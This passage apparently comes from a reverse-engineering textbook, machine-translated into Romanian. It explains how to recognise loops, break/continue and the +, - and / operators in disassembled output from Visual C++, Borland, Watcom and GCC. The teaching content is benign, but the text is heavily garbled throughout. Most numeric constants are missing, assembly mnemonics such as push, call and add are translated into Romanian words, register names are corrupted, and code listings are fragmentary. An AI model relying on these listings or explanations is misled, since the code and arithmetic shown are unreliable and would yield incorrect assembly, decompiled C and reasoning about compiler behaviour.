compilator (Listarea - ) Lista Rezultatul traducerii exemplului și listării de către compilator „Microsoft Visual C++ cu optimizare maximă proc principal lângă COD XREF: start+AFj,p împinge esi push edi ; Salvați registrele pe stivă muta esi, ; Setați ESI la x ; Atentie - aruncati o privire la codul sursa - nici una dintre variabile ; a însemnat atât de mult! mov edi, OAh ; Setați EDI la xA Da, este o constantă de verificat ; condiţiile de ieşire din buclă os C: COD XREF: main+lDj,j ; Pe baza referinței încrucișate în jos, aceasta este bucla push offset aOperatorCiklaW ; "instrucțiunea buclă whileXn" apel pnntf add esp, ; printf("Instrucțiunea buclei whileXn") ; corpul buclei while? (atat de confuz) ; Stai, stai, unde este precondiția? dec edi ; Reduceți EDI cu una inc esi ; Creșteți ESI cu unul test edi, edi ; Verificăm EDI pentru egalitate la zero Pentru scurt os С ; Salt la începutul buclei în timp ce EDI = ; Da (îngândurat) Compilatorul, într-o criză de optimizare, sa întors ; o buclă ineficientă cu o precondiție într-o buclă mai compactă și mai rapidă ; cu o postcondiție Avea dreptul să facă asta? De ce nu?! ; După ce a analizat codul, compilatorul și-a dat seama că această buclă este în curs de executare, ; cel puțin o dată, așadar, prin ajustarea stării ; continuare, verificarea acestuia poate fi mutată la sfârșitul buclei De aceea ; valoarea inițială a variabilei buclei este unu, nu zero' Capitolul Identificarea ciclurilor ; Adică, în timp ce ((int a = ) ) ; Adevărat, neîndemânatic și confuz? Ei bine, atunci hai să încercăm să scăpăm de ; una dintre cele două variabile Acest lucru este într-adevăr posibil, pentru că ei ; sunt modificate sincron, iar var EDI = OxB - var ESI ; OK, hai să facem înlocuirea: ; varESI = ; var EDI = OxB - var ESI ; (== OhA;) ; face { ;;printf("Instrucțiune buclă while\n"); var EDI ; var ESI++; LLLLLLLL ; În general, scurtăm acest lucru, deoarece var EDI este deja exprimat prin var ESI ; } while((OxB - var ESI) > ); (== var ESI > xB) ; Ei bine, deja are sens: ; varESI = ; var EDI == ohA; ; face { ;; - printf("Instrucțiunea buclă while\n"); var ESI++; ; } while(var ESI > OxB) ; Te poți opri acolo, sau poți merge mai departe transformându-te ; o buclă cu o postcondiție într-o buclă mai descriptivă cu o precondiție ; var ESI = ; var EDI == ohA; Lj Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; O referință încrucișată în jos indică acest lucru ; că acesta este începutul unui ciclu ; // Nicio condiție prealabilă înseamnă că este o buclă do push offset aOperatorCiklaD ; "do\n buclă declarație" sunați la prrntf adăugați esp, ; printf("instrucțiunea buclă do\n"); dec esi ; Scădeți var ESI test esi, esi ; Verificarea ESI pentru zero jg scurt loc F ; Continuați să faceți buclă atâta timp cât var ESI > ; BINE Acest ciclu este ușor și natural mapat în limbajul C: ; do printf("Instrucțiunea buclă do\n"); în timp ce ( var ESI > ) pop edit pop esi ; Restaurarea registrelor salvate endp principal Compilatorul Borland C++ x optimizează buclele oarecum diferit (Listarea ) Lista , Optimizarea buclelor cu compilatorul Borland C++ x proc principal lângă ; date XREF: DATE: - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ebx ; Salvați EBP pe stivă xor ebx, ebx ; Setați variabila de registru EBX la zero ; După cum ați putea ghici, EBX este „a” jmp scurt loc F ; Sari neconditionat in jos Foarte asemănător cu o buclă for os : ; COD XREF: principal+ >h ; Referința încrucișată în jos înseamnă că acesta este începutul ciclului push offset aOperatorCiklaW ; „instrucțiune buclă while\n” sunați printf Capitolul Identificarea ciclurilor pop esx ; printf("Instrucțiunea buclei whileXn") loc F: C DE XREF: principal+ >h ; Și aici a fost regizat chiar primul salt ; Să vedem: ce este? mov eax, ebx ; Copiați EBX în EAX inc ebx ; Creșterea EVH cmp eax, OAh ; Comparația EAX cu valoarea OxA ) scurt oc ; Salt la începutul ciclului dacă ЕАХ ; do printf("Instrucțiunea buclă do\n"); în timp ce ( var EBX > ) xor eax, eax ; întoarce pop ebx pop ebp ; Restaurarea registrelor salvate retn endp principal valorile E greu să nu cazi de pe scaun când îl vezi ; COD XREF: sub C+ lj Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Alte compilatoare generează cod similar sau chiar mai primitiv și evident, așa că nu le vom analiza în detaliu, ci doar descriem pe scurt schemele de traducere pe care le folosesc Compilatorul Free Pascal x se comportă similar cu compilatorul Borland C++ , punând întotdeauna o condiție la sfârșitul buclei și pornind buclele while de acolo Compilatorul Watcom C nu știe cum să convertească buclele cu o precondiție în bucle cu o postcondiție, drept urmare plasează condiția de ieșire a buclei la începutul buclelor while și inserează un salt necondiționat la sfârșitul acestora (Clasic!) Compilatorul GCC nu optimizează deloc buclele de precondiții, generând codul cel mai suboptim (Listarea - ) Lista Rezultatul traducerii buclelor cu o precondiție folosind compilatorul GCC mov[ebp+var a], ; Atribuirea variabilei a mov esi, esi ; E cod extrem de inteligent os : ; Începutul ciclului mov eax, [ebp+var a] ; Încărcarea în EAX a valorii variabilei var a inc [ebp+var a] ; Măriți var a cu unu cmp ex, ; Comparați EAX cu valoarea x jle scurt os ; Ramura dacă ЕАХ = oxA push offset aOperatorCiklaF ; „for\n instrucțiune buclă” apelați printf adăugați esp, ; printf("For\n instrucțiune buclă") jmp scurt loc D ; Salt necondiționat la începutul buclei ; Deci ce avem? ; inițializare variabilă var a ; trecerea la verificarea condiției de ieșire din buclă -! ; variabila var a increment f - ; verificarea stării împotriva vag a - - ; sari pentru a iesi din bucla daca conditia este adevarata-! -! ■, apelați printf ! ! ; sari la inceputul buclei ; sfârşitul buclei - ; Verificarea pentru finalizare, situată la începutul buclei, indică faptul că ; că aceasta este o buclă cu o condiție prealabilă, dar o exprimă direct prin intermediul ; while fails - interferează cu un salt necondiționat la mijlocul buclei, ocolind ; codul variabilei var a increment ; Cu toate acestea, această buclă se mapează cu ușurință la o declarație for, vezi: ; for (a = ; a lj push offset aOperatorCiklaF ; "for\n instrucțiune buclă" apelați printf adăugați esp, ; printf("For\n instrucțiune buclă") ; Executăm ciclul operator Și fără verificări ; Compilatorul viclean a analizat codul și a realizat că bucla este în curs de executare ; cel putin o data dec esi ; Scădem contorul, deși în codul sursă al programului noi ; crescut! Ei bine, așa este - dec\jnz este mult mai scurt ; INC\ CMP reg, const\ jnz xxx Ah, și compilatorul este înțelept ; a dat dreptul de a schimba ciclul în acest fel? Și foarte simplu – și-a dat seama că ; parametrul buclă din bucla în sine este folosit doar ca numărător, iar nu ; nicio diferență - crește cu fiecare iterație sau ; în scădere jnz scurt os ; Salt la începutul buclei dacă ESI > ; Da, în aparență este tipic ; a = Oxa; do printf("For\n instrucțiune buclă"); In timp ce) ; Dacă sunteți mulțumit de lizibilitatea acestei forme de scriere, plecați ; it, dar nu: for (a = ; a ; a ) ; mai familiar decât pentru (a = ; a Lo împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ebx ; Salvăm EBX pe stivă Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt xor ebx, ebx ; Setați variabila de registru EBX la os : COD XREF: tash+ principal() { int a= ; în timp ce ( ) { printf("Primul operator\n"); dacă (++a> ) se rupe; printf("a doua declarație\n"); } do { printf("Primul operator\n"); if ( a OxA) break ; Am inversat „ ” deoarece JLE transmite controlul codului ; continuarea buclei, iar ramura ATUNCI în cazul nostru - în pauză os : COD XREF: principal+ EOj ; Referința încrucișată este îndreptată în sus, deci acesta nu este începutul unei bucle push offset a i perator apelați printf adăugați esp, ; printf(„a doua declarație\n”) „Al doilea operator\n” jmp scurt loc B ; Salt la începutul ciclului Iată-ne la sfârșitul ciclului ; Restaurarea codului sursă: ,- în timp ce ( ) ; { ; printf("Al doilea operator\n"); ; if (++var a > OxA) break; ; printf("a doua declarațieXn"); loc : COD XREF: principal+ Îj principal+ O = ; Vezi: instrucțiunea break a unei bucle do nu este diferită de ; întreruperea buclei while' ; Prin urmare, nu vom dezvălui, ci îl vom decompila imediat Capitolul Identificarea ciclurilor ; dacă (var a OxA ; Deoarece această comandă nu este ultima din corpul buclei, ; este o buclă cu o condiție la mijloc ; dacă (var ESI > OxA) se rupe push offset a iOperator ; „Al doilea operator\n” apelați printf adăugați esp, ; printf(„a doua declarațieXn”) jmp scurt loc ; Salt necondiționat la începutul buclei ; După cum puteți vedea, compilatorul de optimizare a eliminat un lucru inutil ; verificarea stării, simplificând codul și făcându-l mai ușor de înțeles: ; Asa de: ; var ESI=O ; for (;;) DxA) break; ; printf("a doua declarațieXn"); ; ) loc : Cod XREF: principal+ Оj ; Acesta nu este începutul unui ciclu! push offset aliOperator ; "Ій operatorХп" apelați printf adăugați esp, ; printf("Al doilea operatorXn") ; Hmm, cum nu este acesta începutul unui ciclu Foarte asemănător dec esi ; var ESl JS scurt loc ; Ieșiți din buclă dacă var ESI >> Ce fel de minuni se întâmplă? Mai întâi, apelați prima declarație ; al doilea ciclu s-a întâlnit deja înainte, în al doilea rând, nu poate fi același după ; mijlocul ciclului să-i urmeze începutul? dec esi ; varESI jnz scurt loc ; Bucla continuă atâta timp cât var ESI '= loc : ; COD XREF: principal+ Îj ; Sfârșitul ciclului ; Da, este ceva de gândit aici ; În mod normal, compilatorul a „digerat” prima linie a buclei ; printf("A doua declarație\n")■ ; și apoi a alergat într-o ramură: ; dacă ( a principal() { int a= ; în timp ce (a++ ); } Compilarea acestuia cu compilatorul implicit Microsoft Visual C++ va arăta ca Lista - Lista Rezultatul traducerii unui exemplu care demonstrează identificarea continuă - folosind Microsoft Visual C++ cu setările implicite proc principal lângă ; COD XREF: start+AF^p var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm un loc pentru o variabilă locală Capitolul Identificarea ciclurilor mov[ebp+var a], O ; Setați variabila locală var a la os B: C DE XREF: main+ >Lj main+ Xj ; Cele două referințe încrucișate înainte indică faptul că aceasta este oricare ; începutul a două bucle (dintre care una este imbricată) sau săriți la început ; buclă cu instrucțiunea continue mov eax, [ebp+var a] ; Încărcăm valoarea var a în EAX mov ex, [ebp+var a] ; Încărcați valoarea var a în ECX adăugați ex, ; Creșteți ECX cu unul mov [ebp+vag-a], esx ; Actualizați variabila var a cmp eax, OAh ; Comparăm valoarea variabilei var a înainte de creștere cu numărul OxA jge scurt os ; Ieșire din buclă (săriți la instrucțiunea care urmează instrucțiunii, ; îndreptat în sus - spre începutul ciclului) dacă var a >= OxA cmp[ebp+var a], ; Comparați var a cu valoarea x jnz scurt loc ; Dacă var a = , atunci săriți la comandă urmând instrucțiunile ; tranziție necondiționată, îndreptată în sus - la începutul ciclului ; Foarte asemănătoare cu o condiție de ieșire în buclă, dar să nu ne grăbim ; concluzii Amintiți-vă că la începutul ciclului am întâlnit două cruce ; link-uri Saltul necondiționat „jmp short os V” doar se formează ; unul din ei Și cine este „responsabil” pentru celălalt Să răspundă la asta ; întrebarea este să analizăm restul codului ciclului jmp scurt os v ; O ramură necondiționată îndreptată către începutul buclei este fie sfârșitul ; bucla sau continua ; Să presupunem că acesta este sfârșitul ciclului Atunci ce este ; „jge short loc ”? Precondiție de ieșire în buclă? Nu arata ca ; În acest caz, ar sări mult mai „aproape” - de eticheta os ; Sau poate „jge short oc ” este o precondiție a unui ciclu și ; „jnz short oc ” - postcondiție a altuia imbricat în ea ; Destul de posibil, dar puțin probabil - în acest caz postcondiția ; ar fi o condiție de continuare, nu o condiție de final pentru buclă ; Prin urmare, cu o oarecare incertitudine, putem accepta ; design SMP vag a, \ JNZ os \ JMP os B ; căci dacă (a== ) continuă os : C DE XREF: principal+ Îj mov edx, [ebp+var a] Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împinge edx push offset asc ; „%x\n” apelați printf adăugați esp, ; printf("%x\n",var a) jmp scurt loc B ; Dar acesta este în mod clar sfârșitul ciclului, deoarece jmp short os B este cel mai ; ultima referire la începutul buclei ; Deci, pentru a rezuma ceea ce avem: ; Condiția situată la începutul ciclului învârte acest ciclu până când ; în timp ce var a Lj ; Începutul ciclului emp[ebp+var a], ; Comparați variabila var a cu valoarea x jnz scurt loc F ; Dacă var a '= , atunci continuați bucla jmp scurt oc ; Salt la codul pentru verificarea condiției de continuare a buclei ; Aceasta este fără îndoială o „continuare” și întreaga construcție arată astfel: ; dacă (a== ) continuă loc F: cod XREF: principal+ BÎj mov eax, [ebp+var a] împinge eax push offset asc ; „%x\n” Capitolul Identificarea ciclurilor apelați printf adăugați esp, ; printf("%x\n", var a) loc : COD XREF: principal+ DОj mov ecx, [ebp+var a] sub ecx mov[ebp+var a], ecx ,- var a cmp[ebp+var a], ; Comparând var a cu null Z)g scurt loc ; Atâta timp cât var a > continuă bucla Sună ca o postcondiție, nu? Atunci: ; do ; { ; dacă (a== ) continuă; ; printf("%x\n", var a); ; } în timp ce (-var a > ); mov esp, ebp pop ebp retn endp principal Acum să vedem cum optimizarea (/ox) a afectat aspectul ciclurilor (Listing - ) Lista Rezultatul traducerii unui exemplu care demonstrează identificarea continuă folosind Microsoft Visual C++ cu optimizare proc principal lângă C De XREF: start+AFlp împinge esi muta esi, loc : cod XREF: principal+lF^j ; Începutul ciclului cmp esi, jz scurt loc ; Salt la loc dacă ESI == împinge esi push offset asc ; „%x\n” apelați printf adăugați esp, ; printf("%x\n", ESI) ; Notă: această ramură este executată numai dacă ESI '= ; Prin urmare, poate fi reprezentat astfel: ; dacă (ESI != ) printf("%x\n", ESI) loc : COD XREF: principal+ Îj mov inc ; ESI- eax, esi esi Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt emp ex, OAh jl scurt loc ; Bucla continuă deocamdată (ESI++ ; Total: ; do ; { ; dacă (ESI != ) ; { ; printf("%x\n",ESI); ; } în timp ce ( ESI > ) endp principal Alte compilatoare vor genera aproximativ același cod Comun pentru toate cazurile este că în ciclurile cu o condiție prealabilă, instrucțiunea continue este practic imposibil de distins de o buclă imbricată, iar pe ciclurile cu o condiție post, continue este echivalentă cu o ramură elementară În cele din urmă, este rândul buclelor for, care rotesc mai multe contoare în același timp Luați în considerare următorul exemplu (Listarea - ) Capitolul Identificarea ciclurilor Lista Demonstrarea identificării buclelor for cu contoare multiple int a; int b; pentru (a = , b = ; a ; a++, b ) printf("%x %x\n", a, b); Compilarea acestuia cu compilatorul Microsoft Visual C++ ar trebui să arate ca Lista - Lista , Rezultatul traducerii unui exemplu care demonstrează identificarea buclelor for cu mai multe contoare folosind compilatorul Microsoft Visual C++ proc principal lângă ; COD XREF: start+AF|p var b = dword ptr - var a = dword ptr împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervăm memorie pentru două variabile locale mov[ebp+var a], ; Atribuim valoarea x variabilei var a mov [ebp+var b], OAh ; Atribuim variabilei var b valoarea OxA jmp scurt loc ; Salt la codul pentru verificarea stării de ieșire din buclă ; Aceasta este o caracteristică a buclelor for neoptimizate os : C DE XREF: principal+ -fj ; O referință încrucișată în jos indică faptul că acesta este începutul ; ciclu Și puțin mai devreme, am aflat deja că tipul de buclă este pentru mov eax, [ebp+var a] adăugați ex, mov [ebp+var a], eax ; var a++ mov ecx, [ebp+var b] sub ecx mov [ebp+var b], ecx ; var b- loc : C DE XREF: principal+ Оj cmp[ebp+var b], jle scurt loc ; Ieșiți din buclă dacă var b ) și (a l;var a++,var b ) ; printf("%x %x\n",var a,var b) loc : mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal ; COD XREF: principal+ CОj Nu vom lua în considerare o versiune optimizată a programului, deoarece aceasta nu ne va arăta nimic nou Indiferent ce compilator alegem, expresiile de inițializare și modificare ale contoarelor vor fi procesate destul de corect în ordinea în care sunt declarate în textul programului, dar niciun compilator nu poate gestiona corect expresiile de continuare a buclei multiple! Capitolul Identificarea operatorilor matematici În acest capitol, vom avea în vedere identificarea operatorilor matematici Identificarea operatorului + În general, operatorul + se traduce fie în instrucțiunea mașină add, care „macinează” operanzi întregi, fie în instrucțiunea faddx, care gestionează valori reale Compilatoarele de optimizare pot înlocui add xxx, cu instrucțiunea mai compactă inc xxx și pot traduce c = a + b + const în instrucțiunea mașinii lea c, [a + b + const] Acest truc vă permite să adăugați mai multe variabile dintr-o singură lovitură, returnând suma rezultată în orice registru de uz general - nu neapărat în sumarul din stânga, așa cum este cerut de mnemonicul comenzii add Cu toate acestea, lea nu poate fi decompilat direct în operatorul +, deoarece este utilizat nu numai pentru adăugarea optimizată, ci și pentru scopul propus, calculul offset-ului efectiv Această problemă a fost discutată în detaliu în Capitolul , „Identificarea constantelor și decalajelor” Luați în considerare următorul exemplu (Listarea ) - Lista L Demonstrarea operatorului „+” principal() { int a, b, c; c = a + b; printf("%x\n",c); c=c+ ; printf("%x\n",c); } Compilarea acestuia folosind Microsoft Visual C++ cu setări implicite ar trebui să arate ca Lista - Listarea Rezultatul compilării exemplului din Listarea cu Microsoft Visual C++ ! ■ cu setări implicite var c = dword ptr -OCh Adăugarea optimizată este practic un produs secundar al echipei lea Partea a III-a Identificarea structurilor cheie în limbaje de nivel înalt var b = dword ptr - var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, OCh ; Rezervăm memorie pentru variabilele locale mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX adăugați eax, [ebp+var b] ; Adăugăm EAX cu valoarea variabilei var b ; și scrieți rezultatul în EAX mov[ebp+var c], eax ; Copiați suma vag a și vag b în variabila vag c, prin urmare: ; var c = var a + var b mov ecx, [ebp+var c] împinge ecx push offset asc ; „%x\n” apelați printf adăugați esp, ; printf("%x\n", var c) mov edx, [ebp+var c] ; Încărcăm valoarea variabilei var c în EDX adăugați edx, ; Adăugați EDX cu valoarea x , scriind rezultatul în EDX mov [ebp+vag-c], edx ; Actualizați var c ; var c = var c + mov eax, [ebp+var c] împinge eax push offset asc ; „%x\n” apelați printf adăugați esp, ; printf("%\n",var c) mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Și acum să vedem cum va arăta același exemplu compilat cu comutatorul /ox (optimizare maximă) Rezultatul compilării exemplului este prezentat în Lista Capitolul Identificarea operatorilor matematici Lista Rezultatul compilării exemplului din Lista utilizând compilatorul Microsoft Visual C++ cu optimizare maximă proc principal lângă ■ coe XREF: start+AF-hp împinge ecx ; Rezervați spațiu pentru o variabilă locală ; (compilatorul a calculat că trei variabile pot fi comprimate într-una singură, ; și într-adevăr este) mutare eax, [esp+ ] ; Încărcăm valoarea variabilei var a în EAX mutare esx, [esp+ ] ; Se încarcă valoarea variabilei var b în EAX ; (deoarece variabila nu este inițializată, poate fi încărcată de oriunde) împinge esi ; Salvați registrul ESI pe stivă lea esi, [esx+eax] ; Folosim LEA pentru a adăuga rapid ECX și EAX și apoi ; scrierea sumei în registrul ESI Urmează „Adăugarea rapidă” ; înțelegeți nu în sensul că se execută comanda LEA ; mai rapid decât ADD - numărul de cicluri este același în ambele cazuri, dar LEA ; vă permite să scăpați de crearea unei variabile temporare pt ; salvând rezultatul intermediar al adunării, direcționând imediat ; rezultă în ESI Deci, această comandă se decompilează ca ; reg ESI = var a + var b împinge esi push offset asc " ; "%x\n apelați printf ; printf("%x\n", reg ESI) inc esi ; Creștem ESI cu unul ; reg ESI = reg ESI + împinge esi push offset asc ,- „%x\n” apelați printf adauga esp, Oh ; printf("bxxn", reg ESI) pop esi pop ecx retn endp principal Restul compilatoarelor (Borland C++, Watcom C) generează cod aproximativ identic, așa că este inutil să prezinți rezultatele - nu poartă în sine nicio „poftă” nouă Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Identificarea operatorului - În general, operatorul - se traduce fie într-o instrucțiune sub-mașină (dacă operanzii sunt valori întregi) fie într-o instrucțiune fsubx (dacă operanzii sunt valori reale) Compilatoarele de optimizare pot înlocui sub xxx, cu instrucțiunea dec xxx mai compactă și pot traduce sub a, const în add a, -const A doua opțiune nu este mai compactă și nici mai rapidă (ambele instrucțiuni se încadrează într-un singur ciclu de ceas), dar maestrul (compilatorul) este un gentleman Să demonstrăm acest lucru cu exemplul din Lista Lista Demonstrație de identificare a operatorului principal() int a,b,c; c = a - b; printf("%x\n",c); c \u d c - ; printf("%x\n", c) ; } Versiunea neoptimizată va arăta ceva ca Lista - Lista O versiune neoptimizată a exemplului din lista proc principal lângă COD XREF: start+AF-hp var c = dword ptr -OCh var b = dword ptr - var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, OCh ; Rezervăm memorie pentru variabilele locale mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX sub eax, [ebp+var b] ; Scădem din var a cu valoarea variabilei var b, ; scrierea rezultatului în EAX mov[ebp+var c], eax ; Scrieți în var c diferența dintre var a și var b ; var c = var a - var b mov push push call add ecx, [ebp+var c] ecx offset asc printf special Capitolul Identificarea operatorilor matematici ; printf("%x\n", var c) mov edx, [ebp+var c] ; Încărcăm valoarea variabilei var c în EDX sub edx, OAh ; Scădem valoarea OxA din var c, scriind rezultatul în EDX mov[ebp+var c], edx ; Actualizați var c ; varc = varc mov eax, [ebp+var c] împinge eax push offset asc ; „%x\n” apelați printf adăugați esp, ; printf("%x\n",var c) mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Acum luați în considerare o versiune optimizată a aceluiași exemplu (Listing ) Listing , Listing exemplu compilat cu Microsoft Visual C++ ; cu optimizare maximă proc principal lângă C DE XREF: start+AFip împinge ecx ; Rezervăm spațiu pentru variabila locală var a mov eax, [esp+var a] ; Încărcăm valoarea variabilei locale var a în EAX împinge esi ; Rezervăm spațiu pentru variabila locală var b mov esi, [esp+var b] ; Încărcăm valoarea variabilei var b în ESI sub esi, eax ; Scădem valoarea lui var b din var a, scriind rezultatul în ESI împinge esi push offset asc ; „%x\n” sunați la pnntf ; printf("%x\n", var a - var b) adauga esi, FFFFFFF h ; Adăugăm la ESI (diferențele var a și var b) valoarea OxFFFFFFFS ; Deoarece xFFFFFFF == -OxA, această linie de cod arată astfel: ; ESI = (var a - var b) + (- OxA) = (var a - var b) - OxA Apăsaţi esi Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt push offset asc apelați printf adauga esp, Oh ; printf("%x\n", var a - var b OxA) pop esi pop ecx ; Închideți cadrul stivei retn endp principal Alte compilatoare (Borland, Watcom) generează cod aproape identic, deci nu sunt luate în considerare aici Identificarea operatorului / În general, operatorul / se traduce fie prin Div (diviziunea întregului fără semn), idiv (diviziunea întregului cu semn), fie fdivx (diviziunea reală) Dacă divizorul este un multiplu al unei puteri a lui doi, atunci Div este înlocuit cu instrucțiunea de deplasare mai rapidă a biților la dreapta shr a, N, unde a este dividendul și N este exponentul bazei doi Puțin mai dificilă este împărțirea rapidă a numerelor cu semne Nu este suficient să efectuați o deplasare aritmetică la dreapta (instrucțiunea sar de deplasare aritmetică la dreapta completează biții înalți, ținând cont de semnul numărului), deoarece dacă modulul dividendului este mai mic decât modulul divizorului, atunci deplasarea aritmetică la dreapta va reseta toți biții semnificativi în „coșul de biți”, rezultând Oxffffffff, adică - , în timp ce răspunsul corect este zero În general, împărțirea numerelor cu semne printr-o deplasare aritmetică la dreapta dă rotunjire în sus, care nu este deloc inclusă în planurile noastre Pentru a rotunji numerele cu semn în jos, înainte de a efectua schimbarea, adăugați numărul ’ - la dividend, unde N este numărul de biți cu care numărul este deplasat în timpul împărțirii Este ușor de observat că acest lucru duce la o creștere a tuturor biților deplasați cu unu și la un transfer la bitul cel mai semnificativ dacă cel puțin unul dintre ei nu este egal cu zero Trebuie remarcat faptul că împărțirea este o operație foarte lentă, mult mai lentă decât înmulțirea (div poate dura peste de cicluri pentru a se finaliza, în timp ce mul durează de obicei ), așa că compilatoarele avansate de optimizare înlocuiesc împărțirea cu înmulțirea Există multe formule pentru astfel de transformări, de exemplu, cea mai populară dintre ele este , unde N este capacitatea numărului Se pare că linia dintre înmulțire și împărțire este foarte subțiri, iar identificarea lor este destul de dificilă Luați în considerare exemplul prezentat în Lista Lista , Un exemplu care demonstrează identificarea operatorului de divizie int a; printf("%x %x\n", a / , a / ); Compilarea acestuia cu compilatorul implicit Microsoft Visual C++ ar trebui să arate ca Lista - Capitolul Lista Rezultatul compilației unui exemplu care demonstrează identificarea operatorului de divizie folosind Microsoft Visual C++ cu setări implicite proc principal lângă C DE XREF: start+AF^p var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm memorie pentru o variabilă locală mov eax, [ebp+var a] ; Copiem valoarea variabilei var a în EAX cdq ; Extindem EAX la cuvântul patru EDX:EAX mută ex, OAh ; Introducem valoarea OxA în ECX idiv exp ; Împărțim (având în vedere semnul) EDX:EAX la OxA, punând coeficientul în EAX ; EAX \u d vara / OxA împinge max ; Trecem rezultatul calculelor la funcția printf mov eax, [ebp+var a] ; Încărcăm valoarea var a în EAX cdq ; Extindem EAX la cuvântul patru EDX:EAX și edx, IFh ; Alocați cei cinci biți cei mai puțin semnificativi ai EDX adauga ex, edx ; Adăugați semnul unui număr pentru a rotunji valorile negative ; spre partea mai mică sar ex, ; Deplasare aritmetică la dreapta cu poziții ; este echivalent cu împărțirea numărului la = ; Astfel, ultimele patru instrucțiuni sunt decodificate astfel: ; EAX = var a / ; Vă rugăm să rețineți că, chiar și cu modul de optimizare dezactivat, compilatorul ; diviziune optimizată împinge max push offset aXX ; „%x %x\n” apelați printf adăuga esp, OCh ; printf("%x %x\n", var a / OxA, var a / ) Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Acum, cu mânecile suflecate, să ne uităm la o versiune optimizată a aceluiași exemplu (Listing ) ; Lista O versiune optimizată a exemplului care demonstrează identificarea operatorului de divizie proc principal lângă ; COD XREF: start+AF^p push ecx ; Rezervăm memorie pentru variabila locală var a mov esx, [esp+var a] ; Încărcăm valoarea variabilei var a în ECX mov eax, h; Deci, care este acest număr brutal?! ; Nu era nimic de genul acesta în codul sursă imul esx ; Înmulțim acest număr brutal cu variabila var a ; Rețineți că înmulțim, nu împărțim ; Totuși, să ne prefacem pentru un moment că nu avem exemplul de cod sursă, ; prin urmare, nu vedem nimic ciudat în operația de înmulțire sar edx, ; Efectuăm o deplasare aritmetică a tuturor biților EDX două poziții la dreapta, ; care este, la o primă aproximare, echivalent cu împărțirea lui la ; Cu toate acestea, EDX conține cuvântul dublu de ordin înalt al rezultatului; înmulțiri Prin urmare, cele trei comenzi anterioare sunt de fapt ; sunt decodificate astfel: ; EDX = ( h * var a) » ( + ) = ( h * var a) / x ; Aruncă o privire atentă la această linie: ; ( h * var a) / x = var a * h / x = ; = var a * , ; Înlocuind, după toate regulile matematicii, înmulțirea prin împărțire și; în timp ce rotunjim simultan la un întreg mai mic, obținem: ; vag a * = vag a * ( / ) = vag a/ ; De acord, această transformare a făcut codul mult mai clar ; Cum poți recunoaște o astfel de situație în programul altcuiva, originalul ; al cărui text este necunoscut? Da, este foarte simplu – dacă apare; înmulțire, urmată de o deplasare la dreapta, care indică împărțirea, apoi; orice matematician normal va considera o astfel de construcție ca fiind datoria lui; scurtează, conform metodei tocmai descrise mov eax, edx ; Copiem coeficientul rezultat în EAX shr eax, lFh ; Schimbați de poziții la dreapta Capitolul Identificarea operatorilor matematici adauga edx, eax ; Adunați: EDX = EDX + (EDX >> ) ; Ce ar însemna asta? Este ușor de înțeles că după schimbarea EDX cu de biți ; la dreapta, rămâne doar bitul semn al numărului ; Apoi - dacă numărul este negativ, adăugăm rezultatul împărțirii ; unul, rotunjind-o în jos Astfel, toate acestea ; codul complicat nu înseamnă altceva decât o operațiune banală ; împărțirea semnelor: EDX = var a / ; Nu există prea mult cod pentru o singură divizie? Desigur, programul ; cool "swells", dar tot acest cod este executat în doar ; cicluri, în timp ce în versiunea neoptimizată până la ; /* Măsurătorile au fost efectuate pe procesorul CELERON cu nucleul P , pe cealaltă ; procesoare, numărul de cicluri poate diferi */ ; Acestea optimizarea a oferit un câștig mai mult de trei ori, ; Bravo Microsoft! mov eax, esx ; Să ne amintim: ce este în ESC? ; Derulați în sus ecranul dezasamblatorului Da, în ESC ; ultima dată când valoarea variabilei var a a fost descărcată împinge edx ; Trecem rezultatul împărțirii var a la funcției printf cdq ; Extindem EAX (var a) la quadword EDX:EAX și edx, IFh ; Selectăm cei biți inferiori ai registrului EDX care conține semnul var a adauga ex, edx ; Rotunjiți în jos la cel mai mic sar ex, ; O schimbare aritmetică cu este echivalentă cu împărțirea var a la împinge max push offset aXX ; „%x %x\n” apelați printf adăugați esp,lOh ; printf("%x %x\n", var a / , var a / ) retn endp principal Ei bine, ce zici de alți compilatori, cât de avansati sunt în ceea ce privește optimizarea? Din păcate, nici Borland, nici Watcom nu pot înlocui diviziunea cu o înmulțire mai rapidă pentru alte numere decât puterile a doi În sprijinul acestui lucru, luați în considerare rezultatul compilării aceluiași exemplu cu compilatorul Borland C++ (Listarea ) Lista Rezultatul compilării unui exemplu care demonstrează identificarea diviziunii este > compilat cu Borland C*+ proc principal lângă DATE XREF: DATE: ^ împinge ebp mov ebp, esp Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Deschiderea cadrului stivei împinge ebx ; Salvăm EVX mov eax, esx ; Copiați în EAX conținutul fișierului neinițializat ; înregistrează variabila ECX mută ebx, OAh ; Introducem valoarea OxA în EBX cdq ; Extindem EAX la cuvântul patru EDX:EAX idiv ebx ; Împărțim ECX la OxA (împărțim mult timp - de cicluri, sau chiar mai mult) împinge max ; Transmitem valoarea rezultată funcției printf test esx, esx jns scurt loc ; Dacă dividendul nu este negativ, atunci mergeți la os adauga ex, lFh ; Dacă dividendul este pozitiv, adăugați OxlF la acesta pentru rotunjire IOS : COD XREF: main+llîj sar ecx ; Schimbați cinci poziții la dreapta și împărțiți numărul la împinge ecx push offset aXX ; „%x %x\n* apelați printf adăuga esp, OCh ; printf("%x %x\n", var 